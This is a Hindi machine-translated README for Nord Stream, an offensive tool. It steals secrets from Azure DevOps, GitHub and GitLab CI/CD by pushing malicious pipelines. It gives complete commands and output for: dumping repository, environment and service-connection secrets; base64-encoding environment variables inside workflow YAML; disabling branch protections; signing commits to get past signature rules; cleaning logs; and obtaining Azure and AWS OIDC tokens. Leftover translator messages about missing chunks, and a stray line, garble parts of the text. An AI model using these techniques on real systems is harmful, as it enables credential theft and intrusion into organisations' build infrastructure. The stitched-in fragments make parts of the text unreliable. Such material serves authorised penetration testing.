
Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
नॉर्ड स्ट्रीम एक ऐसा टूल है जो आपको CI/CD वातावरण में संग्रहीत सीक्रेट्स को दुर्भावनापूर्ण पाइपलाइनों को तैनात करके निकालने की अनुमति देता है।
यह वर्तमान में Azure DevOps, GitHub और GitLab का समर्थन करता है।
निम्नलिखित ब्लॉगपोस्ट में और अधिक जानें: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` भी आवश्यक है (देखें https://git-scm.com/download/) और इसे आपके `PATH` में मौजूद होना चाहिए।
## उपयोग
यहाँ GitHub पर एक सरल उदाहरण है; शुरुआत में, कोई विभिन्न गुप्त जानकारियों को सूचीबद्ध कर सकता है।```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
फिर एक्सफ़िल्ट्रेशन के लिए आगे बढ़ें:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### साझा तर्क
कुछ तर्क [GitHub](#github), [Azure DevOps](#azure-devops) और [GitLab](#gitlab) के बीच साझा किए जाते हैं, यहाँ कुछ उदाहरण दिए गए हैं।
#### टोकन का वर्णन करें
`--describe-token` विकल्प का उपयोग आपके टोकन के बारे में सामान्य जानकारी प्रदर्शित करने के लिए किया जा सकता है:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
--build-yaml विकल्प का उपयोग पाइपलाइन फ़ाइल बनाने के लिए किया जा सकता है, बिना इसे डिप्लॉय किए। यह संबंधित पाइपलाइन बनाने के लिए विभिन्न सीक्रेट नामों को प्राप्त करता है, जिसका उपयोग कस्टम चरण जोड़ने के लिए किया जा सकता है:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
कस्टम पाइपलाइन तैनात करने के लिए `--yaml` विकल्प का उपयोग किया जा सकता है:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
कोई इनपुट सामग्री प्रदान नहीं की गई है। कृपया अनुवाद के लिए चंक 13 की सामग्री भेजें।```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
डिफ़ॉल्ट रूप से, यह `init` जॉब के `command` नामक कार्य का आउटपुट प्रदर्शित करेगा, लेकिन सब कुछ स्थानीय रूप से संग्रहीत है और मैन्युअल रूप से एक्सेस किया जा सकता है:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
डिफ़ॉल्ट रूप से, Nord Stream पाइपलाइन तैनाती के बाद छोड़े गए निशानों को हटाने का प्रयास करेगा, जो आपके विशेषाधिकारों पर निर्भर करता है। निशानों को संरक्षित करने के लिए, --no-clean विकल्प का उपयोग किया जा सकता है। यह पाइपलाइन लॉग को रखेगा, लेकिन यह रिपॉजिटरी में किए गए परिवर्तनों को फिर भी वापस कर देगा।
ध्यान दें कि GitLab के लिए, कुछ निशान हटाए नहीं जा सकते।
रिपॉजिटरी व्यवस्थापक किसी ब्रांच पर आवश्यक कमिट हस्ताक्षर (required commit signing) लागू कर सकते हैं ताकि सभी ऐसे कमिट को ब्लॉक किया जा सके जो हस्ताक्षरित और सत्यापित नहीं हैं। Nord Stream के साथ ऐसी सुरक्षा को बायपास करने के लिए कमिट पर हस्ताक्षर करना संभव है।
पहले SCM प्लेटफॉर्म पर अपनी GPG कुंजी बनाएं और आयात करें।```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
The input section is empty — no source content was provided for chunk 19. Please supply the Markdown text to translate.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
bundle update```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream निम्नलिखित प्रकार के गुप्त (secrets) निकाल सकता है:
- वेरिएबल समूह (vg)
- सुरक्षित फ़ाइलें (sf)
- सेवा कनेक्शन
#### सेवा कनेक्शन
Azure DevOps किसी जॉब में कार्य निष्पादित करने के लिए बाहरी और दूरस्थ सेवाओं के साथ कनेक्शन बनाने की सुविधा प्रदान करता है। इसके लिए सेवा कनेक्शन का उपयोग किया जाता है। एक सेवा कनेक्शन किसी दूरस्थ सेवा के लिए एक पहचान के क्रेडेंशियल रखता है। Azure DevOps में कई प्रकार के सेवा कनेक्शन होते हैं।
Nord Stream वर्तमान में निम्नलिखित प्रकार के सेवा कनेक्शन के लिए गुप्त जानकारी निष्कर्षण का समर्थन करता है:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
यदि आपको कोई असमर्थित प्रकार मिले, तो कृपया एक issue खोलें या pull request बनाएं :)
##### SSH
इस सेवा कनेक्शन प्रकार के लिए निष्कर्षण लागू करना कष्टदायक था। आउटपुट निम्नलिखित है:```
hostname:::port:::user:::password:::privatekey
यदि आप इसे स्व-होस्टेड रनर पर चलाना चाहते हैं तो आप निम्न कार्य कर सकते हैं:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
फिर आपको यह करना होगा:
1) `vmImage: ubuntu-latest` को `name: 'Self-Hosted pool name'` में बदलें
2) `#FIXME` प्लेसहोल्डर में सेवा कनेक्शन का नाम जोड़ें।
3) पाइपलाइन को इसके साथ डिप्लॉय करें: `--yaml test.yml`
यदि आपको इसे Windows सेल्फ-होस्टेड रनर पर चलाना है, तो `generatePipelineForSSH` विधि में `_serviceConnectionTemplateSSH` को `_serviceConnectionTemplateSSHWindows` से बदलें और पहले बताई गई क्रियाएँ करें।
नोट: Windows और Linux दोनों सेल्फ-होस्टेड रनर के लिए, आपको पथ (`/home/vsts/work/_tasks/` या `D:\a\`) को उस पथ के अनुसार अनुकूलित करना होगा जहाँ रनर तैनात है। यह जानकारी Azure DevOps पर किसी एजेंट के `Capabilities` टैब में प्राप्त की जा सकती है।
#### संगठनों की सूची बनाना
एक्सेस टोकन के साथ उपयोगकर्ता से बंधे संगठनों की सूची बनाना संभव है:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
यह इस शोध पर आधारित है।
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### सुरक्षाएँ सूचीबद्ध करें
`--list-protections` विकल्प का उपयोग किसी शाखा (branch) और परिवेशों (environments) पर लागू सुरक्षाओं को सूचीबद्ध करने के लिए किया जा सकता है:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
आपकी अनुमतियों के आधार पर, आपके पास कम जानकारी हो सकती है, केवल व्यवस्थापकों के पास सुरक्षाओं की पूरी जानकारी हो सकती है।
--disable-protections विकल्प का उपयोग किसी ब्रांच या वातावरण पर लागू सुरक्षाओं को अस्थायी रूप से अक्षम करने, डंप को पूरा करने और सभी सुरक्षाओं को पुनर्स्थापित करने के लिए किया जा सकता है:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
इसके लिए एडमिन विशेषाधिकार आवश्यक हैं।
#### Force
डिफ़ॉल्ट रूप से, यदि Nord Stream किसी ब्रांच या वातावरण पर सुरक्षा का पता लगाता है, तो वह गुप्त जानकारी निकालने का कार्य नहीं करेगा। यदि आपको लगता है कि सुरक्षाएँ अत्यधिक अनुमेय हैं या आपके विशेषाधिकारों से उन्हें बायपास किया जा सकता है, तो सुरक्षाओं की परवाह किए बिना पाइपलाइन तैनात करने के लिए `--force` विकल्प का उपयोग किया जा सकता है।
#### Azure OIDC
OIDC (OpenID Connect) का उपयोग क्लाउड सेवाओं से जुड़ने के लिए किया जा सकता है। सामान्य विचार यह है कि अधिकृत पाइपलाइनों या वर्कफ़्लो को बिना किसी स्थिर गुप्त जानकारी के, सीधे क्लाउड प्रदाता से अल्पकालिक एक्सेस टोकन प्राप्त करने की अनुमति दी जाए। प्राधिकरण क्लाउड प्रदाता की ओर से कॉन्फ़िगर किए गए विश्वास संबंधों पर आधारित होता है तथा पाइपलाइन या वर्कफ़्लो की उत्पत्ति द्वारा निर्धारित होता है।
यहाँ OIDC का उपयोग करने वाले GitHub वर्कफ़्लो का एक उदाहरण दिया गया है:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
यदि आपको ऐसा कोई वर्कफ़्लो मिलता है, तो इसका मतलब है कि रिपॉज़िटरी को एक अल्पकालिक एक्सेस टोकन प्राप्त करने के लिए कॉन्फ़िगर किया गया हो सकता है जो आपको Azure संसाधनों तक पहुंच प्रदान कर सकता है।
Nord Stream निम्नलिखित विकल्पों के साथ ऐसे एक्सेस टोकन को पुनः प्राप्त करने के लिए एक पाइपलाइन तैनात करने में सक्षम है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
The `--azure-subscription-id` वैकल्पिक है और इसका उपयोग किसी विशिष्ट सदस्यता के लिए एक्सेस टोकन प्राप्त करने के लिए किया जा सकता है।
#### AWS OIDC
यही तकनीक ([Azure OIDC](#azure-oidc) देखें) AWS पर सत्र टोकन प्राप्त करने के लिए इस्तेमाल की जा सकती है।
AWS OIDC का उपयोग करने वाले एक वर्कफ़्लो का उदाहरण यहाँ दिया गया है:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
यदि आपको ऐसा कोई workflow मिलता है, तो इसका मतलब है कि repository में AWS एक्सेस टोकन प्राप्त करने के लिए कॉन्फ़िगर किया गया हो सकता है, जो आपको AWS संसाधनों तक पहुंच प्रदान कर सकता है।
Nord Stream निम्नलिखित विकल्पों के साथ ऐसे एक्सेस टोकन को प्राप्त करने के लिए एक pipeline तैनात करने में सक्षम है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### सहायता```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
जैसा कि लेख में वर्णित है, पाइपलाइन डिप्लॉयमेंट के बाद एक्टिविटी टैब में लॉग्स को हटाने का कोई तरीका नहीं है। Red Team अभियानों के दौरान इसे ध्यान में रखा जाना चाहिए।
--list-secrets विकल्प का उपयोग GitLab से सीक्रेट्स को सूचीबद्ध करने और निकालने के लिए किया जा सकता है।
GitLab जिस तरह से सीक्रेट्स का प्रबंधन करता है वह Azure DevOps और GitHub action से कुछ अलग है। किसी प्रोजेक्ट, ग्रुप या GitLab इंस्टेंस पर एडमिन एक्सेस के साथ, बिना कोई पाइपलाइन डिप्लॉय किए सभी परिभाषित CI/CD वेरिएबल्स को निकालना संभव है।
हालाँकि, कम विशेषाधिकार वाले उपयोगकर्ता के लिए प्रोजेक्ट / ग्रुप या इंस्टेंस स्तर पर परिभाषित सीक्रेट्स को सूचीबद्ध करना संभव नहीं है। लेकिन, यदि किसी उपयोगकर्ता के पास किसी प्रोजेक्ट पर लेखन (write) विशेषाधिकार हैं, तो वे CI/CD वेरिएबल्स को उजागर करने वाले एनवायरनमेंट वेरिएबल्स को बाहर निकालने के लिए एक दुर्भावनापूर्ण पाइपलाइन तैनात कर सकेंगे। इसका मतलब है कि कम विशेषाधिकार वाले उपयोगकर्ता के पास यह जानने का कोई साधन नहीं है कि किसी विशेष प्रोजेक्ट में कोई सीक्रेट परिभाषित है या नहीं। एकमात्र तरीका यह है कि प्रोजेक्ट में पहले से मौजूद वैध पाइपलाइनों को देखा जाए और जाँचा जाए कि कोई पाइपलाइन संवेदनशील एनवायरनमेंट वेरिएबल्स का उपयोग करती है या नहीं।
यहाँ GitLab पर यह ऑपरेशन करने के लिए एक पाइपलाइन फ़ाइल है:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLab Azure DevOps की तरह सुरक्षित फ़ाइलों का भी समर्थन करता है। सुरक्षित फ़ाइलें प्रोजेक्ट स्तर पर परिभाषित की जाती हैं। वेरिएबल्स की तरह, प्रोजेक्ट के एडमिन एक्सेस के बिना सुरक्षित फ़ाइलों को सूचीबद्ध करना संभव नहीं है। हालाँकि, एडमिन एक्सेस के साथ nord-stream प्रोजेक्ट्स से संबंधित सुरक्षित फ़ाइलों को बाहर निकालने (exfiltrate) का प्रयास करेगा।
#### YAML
[YAML](#yaml) की तरह ही, हालाँकि आपको पूरा प्रोजेक्ट पथ इस प्रकार देना होगा:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
कमांड --list-projects का आउटपुट ऐसा पथ लौटाता है।
वैसा ही जैसा GitHub सुरक्षा सूची
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --url <gitlab_url> Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] Azure DevOps Server इंस्टेंस (ऑन-प्रिमाइसेस समाधान) के अनुरूप URL का समर्थन जोड़ें
- [ ] Windows होस्ट के माध्यम से सीक्रेट निकालने का विकल्प जोड़ें
- [ ] अन्य CI/CD वातावरणों (Jenkins/Bitbucket) का समर्थन जोड़ें
- [ ] ब्रांच प्रोटेक्शन नियमों को सूचीबद्ध करने के लिए REST API के बजाय GitHub GraphQL API का उपयोग करें और यदि वे पुश किए जाने वाले दुर्भावनापूर्ण ब्रांच से मेल खाते हैं तो उन्हें अस्थायी रूप से अक्षम करें
## संपर्क
कृपया किसी भी बग, समस्या, प्रश्न या फीचर अनुरोध को "Issues" के अंतर्गत सबमिट करें या उन्हें ट्विटर पर हमें भेजें [@hugow](https://twitter.com/hugow_vincent) और [@0hexit](https://twitter.com/0hexit)।